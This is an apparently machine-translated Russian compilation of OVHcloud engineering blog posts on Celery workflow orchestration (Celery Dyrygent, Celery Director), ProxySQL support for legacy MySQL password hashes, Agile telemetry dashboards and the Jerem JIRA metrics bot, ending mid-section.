+8.45
Рейтинг
0.00
Сила

Делаем БОЛЬШУЮ автоматизацию с помощью Celery

Вступление

TL; DR: вы можете пропустить вступление и сразу перейти к «Celery — Distributed Task Queue».



Здравствуйте! Меня зовут Бартош Рабьега, я работаю в команде R & D / DevOps в OVHcloud. В рамках нашей повседневной работы мы разрабатываем и поддерживаем проект Ceph-as-a-Service, чтобы обеспечить надежное распределенное хранилище высокой доступности для различных приложений. Мы имеем дело с более чем 60 ПБ данных в 10 регионах, поэтому, как вы можете себе представить, у нас впереди довольно много работы с точки зрения замены вышедшего из строя оборудования, обработки естественного роста, предоставления новых регионов и центров обработки данных, оценки нового оборудования, оптимизация конфигураций программного и аппаратного обеспечения, поиск новых решений для хранения данных и многое другое!



Из-за большого объема нашей работы нам нужно разгрузить как можно больше повторяющихся задач. И мы делаем это с помощью автоматизации.

Автоматизация вашей работы

В некоторой степени каждый ручной процесс можно описать как набор действий и условий. Если бы нам каким-то образом удалось заставить что-то автоматически выполнять действия и проверять условия, мы могли бы автоматизировать процесс, что привело бы к автоматизированному рабочему процессу. Взгляните на пример ниже, в котором показаны некоторые общие шаги по ручной замене оборудования в нашем проекте.



Хм… Что может помочь нам сделать это автоматически? Разве компьютер не кажется идеальным?

Сельдерей — распределенная очередь задач

Celery — это хорошо известное и широко используемое программное обеспечение, которое позволяет нам обрабатывать задачи асинхронно. Описание проекта на его главной странице ( www.celeryproject.org/ ) может показаться немного загадочным, но мы можем сузить его базовую функциональность до примерно следующего:



Такой механизм идеально подходит для таких задач, как асинхронная отправка электронных писем (например, «запустил и забыл»), но его также можно использовать для различных целей. Так с какими еще задачами он справился? В принципе, любые задачи можно реализовать на Python (основном языке Celery)! Я не буду вдаваться в подробности, поскольку они доступны в документации по Celery. Важно то, что, поскольку мы можем реализовать любую задачу, которую захотим, мы можем использовать ее для создания строительных блоков для нашей автоматизации.

Есть еще одна важная вещь… Celery изначально поддерживает объединение таких задач в рабочие процессы (примитивы Celery: цепочки, группы, аккорды и т. Д.). Итак, давайте рассмотрим несколько примеров…

Мы будем использовать следующие определения задач — одиночная задача, печать аргументов и kwargs:

@celery_app.task
def noop(*args, **kwargs):
    # Task accepts any arguments and does nothing
    print(args, kwargs)
    return True


Теперь мы можем выполнить задачу асинхронно, используя следующий код:

task = noop.s(777)
task.apply_async()


Элементарные задачи можно параметризовать и объединить в сложный рабочий процесс с использованием методов сельдерея, то есть «цепочки», «группы» и «хорды». См. Примеры ниже. В каждом из них левая сторона показывает визуальное представление рабочего процесса, а правая — фрагмент кода, который его генерирует. Зеленая рамка — это отправная точка, после которой выполнение рабочего процесса продвигается по вертикали.

Цепочка — набор задач, обрабатываемых последовательно



workflow = (
    chain([noop.s(i) for i in range(3)])
)


Группа — набор параллельно обрабатываемых задач.



workflow = (
    group([noop.s(i) for i in range(5)])
)


Аккорд — группа задач, связанных со следующей задачей



workflow = chord(
        [noop.s(i) for i in range(5)],
        noop.s(i)
)

# Equivalent:
workflow = chain([
        group([noop.s(i) for i in range(5)]),
        noop.s(i)
])


Важный момент: выполнение рабочего процесса всегда останавливается в случае сбоя задачи. В результате цепочка не будет продолжена, если какая-то задача не удастся в ее середине. Это дает нам довольно мощный фреймворк для реализации аккуратной автоматизации, и именно это мы используем для Ceph-as-a-Service в OVHcloud! Мы реализовали множество небольших, гибких, параметризуемых задач, которые мы объединяем для достижения общей цели. Вот несколько реальных примеров элементарных задач, используемых для автоматического удаления старого оборудования:

  • Изменить вес узла Ceph (используется для увеличения / уменьшения количества данных на узле. Запускает ребалансировку данных)
  • Установите время простоя службы (перебалансировка данных запускает зонды мониторинга, но это ожидается, поэтому установите время простоя для этой конкретной записи мониторинга)
  • Подождите, пока Ceph не станет здоровым (дождитесь завершения ребалансировки данных — повторяющаяся задача)
  • Удалите узел Ceph из кластера (узел пуст, поэтому его можно просто удалить)
  • Отправьте информацию техническим специалистам в DC (оборудование готово к замене)
  • Добавить новый узел Ceph в кластер (установить новый пустой узел)

Мы параметризируем эти задачи и связываем их вместе, используя цепочки, группы и аккорды сельдерея для создания желаемого рабочего процесса. Затем Celery сделает все остальное, асинхронно выполняя рабочий процесс.

Большие рабочие процессы и сельдерей

По мере роста нашей инфраструктуры растут и наши автоматизированные рабочие процессы, с увеличением количества задач на рабочий процесс, более высокой сложностью рабочих процессов… Что мы понимаем под большим рабочим процессом? Рабочий процесс, состоящий из 1000-10 000 задач. Чтобы визуализировать это, взгляните на следующие примеры:

Несколько аккордов, связанных вместе (всего 57 заданий)



workflow = chain([
    noop.s(0),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    noop.s()
])


Более сложная структура графа, построенная из цепочек и групп (всего 23 задачи)



# | is ‘chain’ operator in celery
workflow = (
    group(
        group(
            group([noop.s() for i in range(5)]),
            chain([noop.s() for i in range(5)])
        ) |
        noop.s() |
        group([noop.s() for i in range(5)]) |
        noop.s(),
        chain([noop.s() for i in range(5)])
    ) |
    noop.s()
)


Как вы, наверное, догадались, когда задействовано 1000 задач, визуализация становится довольно большой и беспорядочной! Celery — мощный инструмент, обладающий множеством функций, которые хорошо подходят для автоматизации, но он по-прежнему испытывает трудности, когда дело доходит до обработки больших, сложных и длительных рабочих процессов. Организовать выполнение 10 000 задач с различными зависимостями — нетривиальная вещь. Когда наша автоматизация стала слишком большой, мы столкнулись с несколькими проблемами:

  • Проблемы с памятью во время построения рабочего процесса (на стороне клиента)
  • Проблемы с сериализацией (клиент -> бэкэнд-передача сельдерея)
  • Недетерминированное, прерывистое выполнение рабочих процессов
  • Проблемы с памятью у рабочих Celery (серверная часть Celery)
  • Исчезающие задачи
  • И более…

Взгляните на GitHub:


Использование сельдерея для нашего конкретного случая стало трудным и ненадежным. Встроенная поддержка рабочих процессов в Celery не кажется правильным выбором для обработки 100/1000/10 000 задач. В нынешнем состоянии этого просто недостаточно. Итак, вот мы стоим перед прочной бетонной стеной… Либо мы как-то исправляем Celery, либо переписываем нашу автоматизацию, используя другую структуру.

Сельдерей — исправить… или исправить?

Переписать всю нашу автоматизацию можно, хотя и относительно болезненно. Поскольку я довольно ленив, возможно, попытка исправить Celery была не совсем плохой идеей? Так что я потратил некоторое время, чтобы покопаться в коде Celery, и мне удалось найти части, отвечающие за построение рабочих процессов и выполнение цепочек и аккордов. Мне все еще было немного сложно понять все различные пути кода, обрабатывающие широкий спектр вариантов использования, но я понял, что можно реализовать чистую, прямую оркестровку, которая будет обрабатывать все задачи и их комбинации в одном путь. Более того, я понял, что интегрировать его в нашу автоматизацию не потребует слишком больших усилий (давайте не будем забывать о главной цели!).

К сожалению, внедрение новой оркестровки в проект Celery, вероятно, будет довольно сложным и, скорее всего, нарушит некоторую обратную совместимость. Поэтому я решил использовать другой подход — написать расширение или плагин, которые не требовали бы изменений в Celery. Что-то подключаемое и максимально неинвазивное. Так появился Celery Dyrygent…

Сельдерей Dyrygent

github.com/ovh/celery-dyrygent

Как представить рабочий процесс

Вы можете представить себе рабочий процесс как направленный ациклический граф (DAG), где каждая задача является отдельным узлом графа. Когда дело доходит до ациклических графов, относительно легко хранить и разрешать зависимости между узлами, что приводит к простой оркестровке. Celery Dyrygent был реализован на основе этих функций. Каждая задача в рабочем процессе имеет уникальный идентификатор (Celery уже назначает идентификаторы задач, когда задача отправляется на выполнение), и каждая из них заключена в узел рабочего процесса. Каждый узел рабочего процесса состоит из сигнатуры задачи (простой сигнатуры сельдерея) и списка идентификаторов задач, от которых он зависит. См. Пример ниже:



Как обработать рабочий процесс

Итак, мы знаем, как сохранить рабочий процесс простым и понятным способом. Теперь нам просто нужно его выполнить. Как насчет… сельдерея? Почему бы нет? Для этого Celery Dyrygent вводит задачу процессора рабочего процесса (обычная задача Celery ). Эта задача охватывает весь рабочий процесс и планирует выполнение примитивных задач в соответствии с их зависимостями. После того, как часть планирования завершена, задача повторяется («тикает» с некоторой задержкой).

На протяжении всего цикла обработки процессор рабочих процессов сохраняет внутреннее состояние всего рабочего процесса. В результате он обновляет состояние при каждом повторении. Вы можете увидеть пример оркестровки ниже:







В частности, процессор рабочего процесса останавливает свое выполнение в двух случаях:

  • После завершения всего рабочего процесса и успешного выполнения всех задач
  • Когда он не может продолжить работу из-за сбоя задачи

Как интегрировать

Итак, как нам это использовать? К счастью, мне довольно легко удалось найти способ использовать Celery Dyrygent. Прежде всего, вам необходимо внедрить определение задачи процессора рабочего процесса в ваше приложение CeleryP:

from celery_dyrygent.tasks import register_workflow_processor
app = Celery() #  your celery application instance
workflow_processor = register_workflow_processor(app)


Затем вам нужно преобразовать рабочий процесс, определенный для Celery, в рабочий процесс Celery Dyrygent:

from celery_dyrygent.workflows import Workflow

celery_workflow = chain([
    noop.s(0),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    chord([noop.s(i) for i in range(10)], noop.s()),
    noop.s()
])

workflow = Workflow()
workflow.add_celery_canvas(celery_workflow)


Наконец, просто выполните рабочий процесс, как обычную задачу Celery:

workflow.apply_async()


Это оно! Вы всегда можете вернуться, если хотите, так как небольшие изменения очень легко отменить.

Попробуйте!

Celery Dyrygent можно использовать бесплатно, а его исходный код доступен на Github ( github.com/ovh/celery-dyrygent ). Не стесняйтесь использовать его, улучшать, запрашивать функции и сообщать о любых ошибках! У него есть несколько дополнительных функций, не описанных здесь, поэтому я рекомендую вам взглянуть на файл readme проекта. Для наших требований к автоматизации это уже надежное, проверенное на практике решение. Мы используем его с конца 2018 года, и он обработал тысячи рабочих процессов, состоящих из сотен тысяч задач. Вот некоторая статистика производства за период с июня 2019 года по февраль 2020 года:

  • Выполнено 936 248 элементарных задач
  • Обработано 11 170 рабочих процессов
  • 4098 задач в самом большом рабочем процессе
  • ~ 84 задачи на рабочий процесс, в среднем

Автоматизация — это всегда хорошая идея!

Один день из жизни ProxySQL в OVHcloud

Как подробно объяснялось в предыдущем посте, миграция P19 означала, что нам нужно было добавить новый элемент в нашу инфраструктуру… а именно ProxySQL.



Поначалу жизнь была для него непростой, но вскоре он научился обрабатывать широкий спектр конфигураций ваших веб-сайтов, особенно когда дело доходит до того, чтобы путь подключения к вашим данным всегда был свободным.

Подключение баз данных 101

Вернемся к тому, как пользователь подключается к своей базе данных MySQL / MariaDB без ProxySQL…

Пользователь использует клиент MySQL и предоставляет хост / IP, имя пользователя и пароль.



С этой точки зрения все кажется довольно простым. Но в реальной жизни все не так просто…

Во-первых, за эти годы MySQL эволюционировал, чтобы исправить различные проблемы с безопасностью, такие как удаление старого алгоритма аутентификации. Наша инфраструктура пытается не отставать от всех этих изменений, но при переходе со старых версий на новейшую версию всегда есть задержка, особенно потому, что некоторые из этих изменений могут повлиять на ваш веб-сайт.

Однако нам повезло, так как клиенты и серверы MySQL имеют хороший уровень обратной совместимости.

Так что же тогда?



Теперь мы ближе к реальности.

А теперь давайте добавим к этой картинке нашего маленького друга ProxySQL!

Первые часы жизни ProxySQL в OVHcloud

ProxySQL — очень хорошая и полезная программа. Его основная задача — установить соединение с вашей базой данных от вашего имени. Таким образом, устанавливается соединение, ProxySQL просматривает базу данных в своей конфигурации, проверяет учетные данные, предоставленные пользователем, и, если они действительно действительны, действует как клиент MySQL для подключения к фактическому серверу MySQL.



С этой точки зрения все кажется довольно простым. Но в реальной жизни все не так просто… Погодите, я уже это говорил?

Добавим в эту картину наше полное разнообразие, просто для удовольствия! Помните наши версии MySQL? Были упомянуты две конкретные версии…

MySQL5.6

Это последняя версия на OVHcloud. Что интересно в этой конкретной версии, так это то, что механизм аутентификации является последним и лучшим из MySQL. Он генерирует 41-байтовый хэш, изменение, которое было введено в MySQL 4.1.

Фактическая версия, которая была у нас в P19, была MySQL5.5, но эти две версии очень похожи с практической точки зрения.

MySQL5.1

Довольно старый материал, но у нас все еще есть экземпляры, которые его используют.

Некоторые клиенты, использующие эту версию, перешли с MySQL4.0 и сохранили пароли, сгенерированные этой версией. Для простоты мы будем называть их « MySQL5.1 со старыми паролями ». В этой версии используется 16-байтовый хэш, который является слабым и подверженным перехватам.

Так что же тогда?



Вот и мы! Путь нашего ProxySQL проходит не так гладко, поскольку он не может аутентифицироваться в MySQL 4.0. В этом есть смысл, поскольку он был написан спустя много времени после того, как была прекращена поддержка MySQL 4.0.

Тем не менее, нам нужно было найти решение, которое учитывало бы устаревшую аутентификацию и предотвращало сбои для веб-сайтов, использующих эти соединения.

Под капотом: история подключения к MySQL

Как мы подчеркнули ранее, для подключения к серверу MySQL необходимо предоставить три параметра:

  • Хозяин (скажем, 
    mysqlXXX.sqlXXX
    )
  • Пользователь
  • Пароль

Интересная часть здесь — это пароль, так как он изменился между двумя версиями.

Очевидно, что MySQL не хранит ваш пароль в виде обычного текста, а вместо этого хранит хэш. Чтобы позволить ProxySQL подключиться, хеш вставляется в его внутреннюю базу данных, после чего подключение становится возможным.

Существуют три типа паролей:

  • Простой текст
  • mysql_native_password
     (41-байтовый хеш)
  • old_password
     (16-байтовый хеш)

ProxySQL поддерживает только первые два… и поэтому не может подключиться к вашей замечательной, но устаревшей базе данных.

Каковы наши пути решения?

Самым простым решением было бы, как вы понимаете, обновить пароли для использования нового алгоритма.

Однако мы не храним ваши пароли!

В некоторых случаях нам удавалось вычислить это, но с учетом значительного числа клиентов, столкнувшихся с этой проблемой (более 50 000… помните 1% из более чем одного миллиона?), Это было невозможно.

Первым шагом было научить наш ProxySQL обрабатывать соединение от клиента. Спустя несколько патчей наш ProxySQL гордился своей новой функцией и мог выполнять эту задачу.

Представим это на картинке:



Но мы определенно не хотели хранить эти старые пароли навсегда… поэтому нам пришлось вести себя гадко.

Помните, что единственная информация, которая у нас была, — это устаревший хешированный пароль, который был единственным источником информации, который мы могли передать ProxySQL. Чтобы упростить ситуацию, вот ситуация, в которой мы находимся:



Нам нужно было дать нашему клиенту ProxySQL пароль, но мы не смогли добавить старый пароль (да и не хотели!).

В конце концов, решение заключалось в том, чтобы взять старый хэш пароля и сделать из него новый. Таким образом, у нас будет новый пароль в правильном формате!



Поскольку клиент ProxySQL и сервер MySQL скрыты от пользователя, все было нормально, но мы не могли этого сделать на сервере ProxySQL (вы же хотите сохранить тот же пароль, верно?).

К счастью для нас, у нас было поле пароля в виде обычного текста, которое осталось неиспользованным, поэтому мы могли использовать его для хранения вашего OLD_HASH и завершения цепочки аутентификации.



Мы сделали это! Наконец-то вы можете получить доступ к своей базе данных!

Давайте проясним здесь… Это все очень временно, и, как было сказано в предыдущей статье, мы не хотим поддерживать разветвленную версию ProxySQL, в которой мы не можем обновлять исходный код, поскольку все это очень устаревшее и конкретный.

Вывод

Трудно поддерживать широкий спектр программного обеспечения с несовместимыми версиями!

Чтобы убедиться, что миграция оказала минимальное влияние, нам пришлось исправить множество мелких деталей. В конкретном случае, подробно описанном в этой статье, у нас были проблемы со старыми паролями MySQL, и, учитывая временную шкалу, мы не могли попросить пользователей MySQL5.1 изменить свои пароли. Но после небольшого взлома мы смогли начать миграцию… даже для устаревшей аутентификации!

Опять же, это была лишь одна из проблем, с которыми мы столкнулись при настройке ProxySQL и адаптации его к нашим очень специфическим требованиям. Помните, что работа с устаревшим программным обеспечением — сложная и ответственная задача, но ее невозможно избежать! Это то, что мы сделали с переходом на P19, и что мы будем продолжать делать, чтобы постоянно улучшать предлагаемые вам услуги.

Гибкая телеметрия в OVHCloud - Часть II

В предыдущем посте мы изложили причины, которые побудили нас создать инструмент Agile-мониторинга. Чтобы извлечь выгоду из этого коллективного успеха, нам нужно было:

  • Установите эффективную, простую и общепринятую методологию поддержки команд разработчиков.
  • Изложите различные видения, необходимые для правильного выполнения проекта.
  • Определите микровидение для команд разработчиков.
  • Определите макро-видение для спонсоров.
  • Индустриализируйте эту инновационную концепцию для других команд в OVHcloud.



Как и в каждой новой задаче, в ней был элемент сложности. OVHcloud — международная компания, и наши команды распределены по всему миру. Поэтому инструмент должен был быть легко читаемым и простым в обслуживании, а показатели должны обновляться автоматически, поскольку наши команды работают в меняющемся контексте, где часто происходят незапланированные события.

Нам нужно было создать инструмент, который позволил бы нам удаленно измерять производительность и прогресс команд в режиме реального времени и обновлять информацию, необходимую для управления проектом. Это наша телеметрия.

«Прежде чем привлекать команду разработчиков, составьте план строительства… нарисуйте!» Помня об этом, я начал набрасывать несколько набросков на блокноте, а затем на программном обеспечении.

Первый каркас гибкой телеметрии

Этот первый набросок выдвинул на первый план то, что я хотел показать своим командам. Мы могли отслеживать наши успехи по каждой теме, над которой работали (эпосы, о которых мы говорили в части I). Мы смогли увидеть, достижима ли дорожная карта, исходя из ритма работы команды, и измерить производительность команды. Наконец, у нас появился инструмент, который согласовывал микро- и макро-видение.

Но как заставить эту доску ожить?

В OVHcloud мы используем инструмент для продажи билетов: JIRA. Этот инструмент помогает нам в повседневной организации проектов. Однако он не показывает нужную нам информацию. Тем не менее, мы можем заставить его говорить…



Основываясь на этой концепции, мы и наши команды создали таблицу показателей с помощью инструмента GRAFANA.

Это наша гибкая телеметрия



В этом втором посте блога мы сосредоточимся на макро видении. В следующем посте мы рассмотрим микровидение.

Макровидение



1- й блок данных: Квартальные КПЭ



  • (А) Предсказуемость. Сможете ли вы выполнить все проекты / запросы? С помощью этого индикатора высшее руководство и команды разработчиков могут отслеживать свои возможности в отношении сроков. Мы можем отслеживать эти данные по следующей формуле:



  • (B) Прогресс на четверть . Показывает завершенные части квартала.
  • © Скорость команды. Количество сюжетных пунктов, завершенных за день. Обладая этой информацией, мы можем строить наши будущие спринты и поддерживать ритм команды.
  • (D) Среднее препятствие . Эта информация важна для построения следующего спринта и оценки коэффициента безопасности.

Пример

Предположим, у нас есть команда из семи человек с производительностью 350 часов на спринт (7 человек x 5 часов в день x 10 дней). Если наша команда зафиксировала 58 часов в качестве препятствий во время спринта, мы могли бы использовать эту информацию, чтобы настроить коэффициент безопасности для следующего спринта.



В среднем команда тратит 17% своего времени на устранение препятствий во время спринта. Имея эту информацию, мы можем рассчитать коэффициент безопасности.

2-й блок данных: «Sum of Roadmap Epics»



В этой таблице собраны ожидаемые эпопеи. Он показывает количество очков истории, оцененных командами, количество очков, которые они уже выполнили, количество задач, «не оцененных», и скорость прогресса. С помощью этой таблицы мы можем дать цифры, относящиеся к прогрессу.

3-й блок данных: Завершение



  1. Эпическое завершение ( 1 ): в течение каждой недели мы можем наблюдать за развитием дорожной карты. Иногда мы видим, что дорожная карта завершения сокращается. Это нормально, потому что мы добавили в план сюжетную линию. ( 4 )
  2. Количество препятствий (2): это количество раз, когда команды выходили из спринта из-за препятствий.
  3. Длительность препятствий (3): общее время, потраченное на препятствия.
  4. Запланированная дельта-точка истории (4): количество точек, входящих или выходящих из дорожной карты, что позволяет нам видеть любые вариации на графиках.

4- й блок данных: Нарисуйте график!



  • А. Этот рисунок представляет собой график выполнения дорожной карты. Он создан по сумме завершенных эпосов.
  • Б. Наша дорожная карта выгорания.

На этом графике представлены две кривые:

  • a  — Кривая элементов, количественно определенная и оцененная командами.
  • b  — это предел, рассчитанный с использованием скорости команды по количеству дней в квартале. Затем мы добавляем коэффициент безопасности команды.





  • c — Кривая задач, выполненных командами.

Вывод

Эта панель инструментов объединяет всю информацию, которую нам удалось собрать воедино благодаря потрясающему вкладу команд. Веруя в ценности и доверяя методу, группа уже достигла зрелости, которой они достигли сами.

Для нашего высшего руководства эта доска показывает всю необходимую им ключевую информацию. Когда прогнозируемость обозначена зеленым цветом, все в порядке. Когда что-то не так, они могут принять правильное решение, будь то изменение приоритетов в дорожной карте или найм новых людей, чтобы помочь командам успешно ее завершить (например).

В следующем посте я подробно расскажу о микровидении. А пока сохраняйте Agile!

Представляющий директор - инструмент для построения рабочих процессов Celery

Нам как разработчикам часто приходится выполнять задачи в фоновом режиме. К счастью, для этого уже существуют некоторые инструменты. Например, в экосистеме Python самая известная библиотека — это Celery. Если вы уже использовали это, вы знаете, насколько это здорово! Но вы также, вероятно, обнаружите, насколько сложно может быть отслеживание состояния сложного рабочего процесса.



Celery Director — это инструмент, который мы создали в OVHcloud для решения этой проблемы. Код теперь имеет открытый исходный код и доступен на Github.



После нашего выступления во время FOSDEM 2020, этот пост направлен на представление инструмента. Мы подробно рассмотрим, что такое Celery, почему мы создали Director и как его использовать.

Что такое «сельдерей»?

Вот официальное описание сельдерея:

Celery — это асинхронная очередь задач / очередь заданий, основанная на распределенной передаче сообщений. Он ориентирован на работу в реальном времени, но также поддерживает планирование.

Важные слова здесь — «очередь задач». Это механизм, используемый для распределения работы по пулу машин или потоков.



Очередь в середине приведенной выше диаграммы хранит сообщения, отправленные производителями (например, API). С другой стороны, потребители постоянно читают очередь, чтобы отображать новые сообщения и выполнять задачи.

В Celery сообщение, отправленное производителем, является подписью функции Python: send_email(«john.doe»)например.

Очередь (именуемая посредником в Celery) хранит эту подпись до тех пор, пока рабочий не прочитает ее и не выполнит функцию в пределах данного параметра.

Но зачем выполнять функцию Python где-то еще? Основная причина — быстрое возвращение ответа в случаях, когда функции долго выполняются. В самом деле, это не вариант заставлять пользователей ждать ответа несколько секунд или минут.

Точно так же, как мы можем представить производителей без достаточного количества ресурсов, с задачей, связанной с процессором, более надежный работник мог бы справиться с ее выполнением.

Как использовать «сельдерей»

Итак, Celery — это библиотека, используемая для выполнения кода Python где-то еще, но как она это делает? На самом деле это действительно просто! Чтобы проиллюстрировать это, мы будем использовать некоторые из доступных методов для отправки задач брокеру, а затем запустим воркер для их использования.

Вот код для создания задачи Celery:

# tasks.py
from celery import Celery

app = Celery("tasks", broker="redis://127.0.0.1:6379/0")

@app.task
def add(x, y):
    return x + y


Как видите, задача Celery — это просто функция Python, преобразованная для отправки в брокер. Обратите внимание, что мы передали соединение redis приложению Celery (названному app), чтобы сообщить брокеру, где хранить сообщения.

Это означает, что теперь можно отправить задачу в брокере:

>>> from tasks import add
>>> add.delay(2, 3)


Вот и все! Мы использовали этот .delay()метод, поэтому наш производитель не выполнял код Python, а вместо этого отправлял подпись задачи брокеру.

Теперь пора употребить его вместе с сельдереем:

$ celery worker -A tasks --loglevel=INFO
[...]
[2020-02-14 17:13:38,947: INFO/MainProcess] Received task: tasks.add[0e9b6ff2-7aec-46c3-b810-b62a32188000]
[2020-02-14 17:13:38,954: INFO/ForkPoolWorker-2] Task tasks.add[0e9b6ff2-7aec-46c3-b810-b62a32188000] succeeded in 0.0024250600254163146s: 5


Можно даже комбинировать задачи Celery с некоторыми примитивами (полный список здесь ):

  • Цепочка: будет выполнять задачи одну за другой.
  • Группа: будет выполнять задачи параллельно, направляя их нескольким рабочим.

Например, следующий код сделает два добавления параллельно, а затем суммирует результаты:

from celery import chain, group

# Create the canvas
canvas = chain(
    group(
        add.si(1, 2),
        add.si(3, 4)
    ),
    sum_numbers.s()
)

# Execute it
canvas.delay()


Вы, наверное, заметили, что мы не использовали здесь метод .delay () . Вместо этого мы создали холст , используемый для объединения набора задач.

.si()
Метод используется для создания неизменяемой подписи (т. Е. Такой , которая не получает данные от предыдущей задачи), в то время как 
.s()
полагается на данные, возвращенные двумя предыдущими задачами.

В этом введении в Celery мы только что рассмотрели его базовое использование. Если вы хотите узнать больше, я приглашаю вас прочитать документацию, где вы обнаружите все мощные функции, включая ограничения скорости , повторные попытки выполнения задач или даже периодические задачи .

Как разработчик я хочу…

Я часть команды, целью которой является развертывание и мониторинг внутренней инфраструктуры. В рамках этого нам нужно было запустить некоторые фоновые задачи, и, как разработчики Python, мы естественным образом выбрали Celery. Но из коробки Celery не поддерживал определенные требования для наших проектов:

  • Отслеживание развития задач и их зависимостей в WebUI.
  • Выполнение рабочих процессов с помощью вызовов API или просто с помощью интерфейса командной строки.
  • Объединение задач для создания рабочих процессов в формате YAML.
  • Периодическое выполнение всего рабочего процесса.

Для этого существуют другие классные инструменты, например Flower, но они позволяют нам отслеживать только каждую задачу по отдельности, а не весь рабочий процесс и его составные задачи.

И поскольку нам действительно были нужны эти функции, мы решили создать Celery Director.



Как использовать Директор

Установку можно произвести с помощью pip-команды:

$ pip install celery-director


Директор предоставляет простую команду для создания новой папки рабочего пространства:

$ director init workflows
[*] Project created in /home/ncrocfer/workflows
[*] Do not forget to initialize the database
You can now export the DIRECTOR_HOME environment variable


Ниже для вас создана новая папка задач и пример рабочего процесса:

$ tree -a workflows/
├── .env
├── tasks
│   └── etl.py
└── workflows.yml


В tasks/*.pyфайлы будут содержать ваши задачи Сельдерей, в то время как workflows.ymlфайл будет объединить их:

$ cat workflows.yml
---
ovh.SIMPLE_ETL:
  tasks:
    - EXTRACT
    - TRANSFORM
    - LOAD


В этом примере с именем ovh.SIMPLE_ETL будут выполняться три задачи, одна за другой. Вы можете найти больше примеров в документации.

После экспорта DIRECTOR_HOMEпеременной и инициализации базы данных с помощью director db upgradeвы можете выполнить следующий рабочий процесс:

$ director workflow list
+----------------+----------+-----------+
| Workflows (1)  | Periodic | Tasks     |
+----------------+----------+-----------+
| ovh.SIMPLE_ETL |    --    | EXTRACT   |
|                |          | TRANSFORM |
|                |          | LOAD      |
+----------------+----------+-----------+
$ director workflow run ovh.SIMPLE_ETL


Брокер получил задачи, поэтому теперь вы можете запустить Celery worker для их выполнения:

$ director celery worker --loglevel=INFO


А затем отобразите результаты с помощью команды веб-сервера ( director webserver):



Это только начало, поскольку Director предоставляет другие функции, позволяющие, например, параметризовать рабочий процесс или периодически его выполнять. Более подробную информацию об этих функциях вы найдете в документации.

Вывод

Наши команды регулярно используют Director для запуска наших рабочих процессов. Больше нет шаблонов и нет необходимости в продвинутых знаниях Celery… Новый коллега может легко создавать свои задачи на Python и комбинировать их в YAML, не используя примитивы Celery, описанные ранее.

Иногда нам нужно периодически выполнять рабочий процесс (например, для заполнения кеша), а иногда нам нужно вручную вызывать его из другой веб-службы (обратите внимание, что рабочий процесс также может быть выполнен через вызов API ). Теперь это возможно с помощью нашего единственного экземпляра Director.

Мы приглашаем вас попробовать Director на себе и оставить свой отзыв через Github, чтобы мы могли продолжать его улучшать. Исходный код можно найти на Github, а презентация FOSDEM 2020 доступна здесь.

Jerem: Agile-бот

В OVHCloud мы открываем исходный код для нашего проекта «Agility Telemetry». Джерем , как наш сборщик данных, является основным компонентом этого проекта. Джерем регулярно очищает нашу JIRA и извлекает определенные показатели для каждого проекта. Затем он пересылает их в наше приложение для длительного хранения, платформу данных метрик OVHCloud .



Концепции Agility с точки зрения разработчика

Чтобы помочь вам понять наши цели для Jerem , нам нужно объяснить некоторые концепции Agility, которые мы будем использовать. Во-первых, мы составим техническую ежеквартальную дорожную карту для продукта, в которой изложены все функции, которые мы планируем выпускать каждые три месяца. Это то, что мы называем эпосом .

ЧДля каждой эпопеи мы определяем задачи, которые необходимо будет выполнить. Для всех этих задач мы затем оцениваем сложность задач с помощью очков истории во время сеанса подготовки команды. Сюжетная точка отражает усилия, необходимые для выполнения конкретной задачи JIRA.

Затем, чтобы продвинуть нашу дорожную карту, мы будем проводить регулярные спринты, которые соответствуют периоду в десять дней , в течение которого команда выполнит несколько задач. Количество очков истории, набранных в спринте, должно соответствовать или быть близким к скорости команды . Другими словами, среднее количество очков истории, которое команда может набрать за день.

Однако во время спринтов могут неожиданно возникнуть другие срочные задачи. Это то, что мы называем препятствием . Например, нам может потребоваться помощь клиентам, исправление ошибок или срочные инфраструктурные задачи.   

Как работает Джерем

В OVH мы используем JIRA для отслеживания нашей активности. Наш Jerem бот обрывки наших проектов из JIRA и экспорта всех необходимых данных для нашей OVHCloud Метрики платформы данных . Джерем также может передавать данные в любую базу данных, совместимую с Warp 10. В Grafana вы просто запрашиваете платформу Metrics (используя источник данных Warp10 ), например, с помощью нашей панели управления программами . Все ваши KPI теперь доступны на красивой панели инструментов!



Откройте для себя показатели Jerem

Теперь, когда у нас есть обзор основных задействованных концепций Agility, давайте погрузимся в Джерема! Как преобразовать эти концепции гибкости в показатели? Прежде всего, мы извлечем все показатели, относящиеся к эпикам (т.е. новым функциям). Затем мы подробно рассмотрим метрики спринта.

Эпические данные

Чтобы объяснить эпические метрики Джерема, мы начнем с создания новой. В этом примере мы назвали это Agile Telemetry. Мы добавляем лейбл Q2-20, что означает, что мы планируем выпустить его во втором квартале. Чтобы записать эпопею с Джеремом, вам нужно установить четверть для окончательной доставки! Затем мы просто добавим четыре задачи, как показано ниже:



Чтобы получить метрики, нам нужно оценить каждую отдельную задачу. Мы сделаем это вместе на подготовительных сессиях. В этом примере у нас есть собственные очки истории для каждой задачи. Например, мы оценили write a BlogPost about Jeremзадачу на 3.



В результате у Джерема теперь есть все необходимое, чтобы начать сбор эпических показателей. В этом примере представлены пять показателей:

  • jerem.jira.epic.storypoint
    : общее количество очков истории, необходимых для завершения этой эпопеи. Значение здесь 14 (сумма всех очков эпической истории). Этот показатель будет развиваться каждый раз, когда эпик обновляется путем добавления или удаления задач. 
  • jerem.jira.epic.storypoint.done
    : количество выполненных задач. В нашем примере мы уже выполнили 
    Write Jerem bot
    и 
    Deploy Jerem Bot
    , поэтому мы уже выполнили восемь пунктов истории.
  • jerem.jira.epic.storypoint.inprogress
    : количество «выполняемых» задач, например 
    Write a BlogPost about Jerem
    .
  • jerem.jira.epic.unestimated
    : количество неоцененных задач, как 
    Unestimated Task
    в нашем примере.
  • jerem.jira.epic.dependency
    : количество задач, у которых есть метки зависимостей, указывающие, что они являются обязательными для других эпиков или проектов.



Таким образом, для каждого эпика в проекте Джерем собирает пять уникальных показателей.

Данные спринта

Для выполнения грандиозных задач мы работаем по спринту . Выполняя спринты, мы хотим подробно рассказать о наших достижениях . Вот почему Джерем тоже собирает данные о спринтах!

